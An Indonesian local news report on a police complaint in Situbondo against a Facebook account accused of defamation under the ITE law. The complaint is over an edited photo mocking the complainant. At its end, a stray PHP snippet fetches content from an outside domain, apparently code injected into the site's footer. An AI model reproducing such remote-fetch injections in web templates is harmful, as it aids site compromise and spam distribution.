Akun Facebook Hafiz S – One Dilaporkan Terkait Pencemaran Nama Baik atau UU ITE

Senin, 21 November 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Situbondo l Jejakkasus info – Diduga melakukan pencemaran nama baik atau UU ITE, Akun berinisial HF secara resmi dilaporkan Vicky Siswanto Rahman warga KP Ardiwilis RT 02/RW 02 Desa Paowan kecamatan Panarukan ke Mapolres Situbondo,pada 03/10/22 bulan lalu dengan LP/B/318/X/2022/SPKT.Satreskrim/Polres Situbondo/Polda Jatim.

Saat ini para penyidik Polres melakukan pemanggilan para saksi-Saksi dari pelapor Sagiman dan Abdul Gani SH. senin 21/11/22.

Baca Juga:  Pelaku Begal Beraksi di 4 TKP diwilayah Pringsewu Berhasil Dibekuk Tekab 308 Sat Reskrim Polres Pringsewu

HF yang merupakan salah seorang pengguna Akun Hafiz S – One dibawah komunitas S – one tersebut dilaporkan karena diduga telah melakukan pencemaran nama baik, di media sosial Facebook. Dalam akun Facebook atas nama Hafiz S-One yang diduga milik Hafiz telah mengedit foto menjadi video dengan emoticon tertawa dengan kata-kata bodoh dan sakit jiwa, tanpa ijin dari Vicky.

Baca Juga:  Nor Kholila Diduga Hampir Jadi Korban Pemerasan oleh Orang yang Mengaku Oknum Wartawan dan LSM

Tidak hanya di komentar HF, lanjut Vicky, tudingan tersebut juga dibuat seakan menjatuhkan jati dirinya di medsos

“Dari itu ,HF disinyalir telah melakukan pencemaran nama baik tersebut sesuai dengan Pasal 27 UU ITE. Selain itu, Saya juga tidak melakukan upaya mediasi terhadap oknum wartawan tersebut,” tegas Vicky.

Baca Juga:  Satuan Reserse Narkoba Polres Pringsewu Kembali Meringkus Penyalahgunaan Narkotika

Harapannya untuk APH untuk bersikap profesional dan tidak pandang bulu dalam menegakkan peradilan diwilayah hukum Situbondo.

Terpisah, Kasat Reskrim melalui Kabag Humas Iptu Sutrisno ketika dikonfirmasi melalui via telepon seluler membenarkan adanya laporan tersebut.

“Laporan memang ada, sudah dilakukan pemanggilan saksi, kita akan melakukan pemeriksaan dulu terhadap laporan tersebut,” ucap Iptu Sutrisno pungkasnya. (Hsn)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Berita Terkait

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Selasa, 24 September 2024 - 18:23 WIB

Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik

Selasa, 24 September 2024 - 10:15 WIB

Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>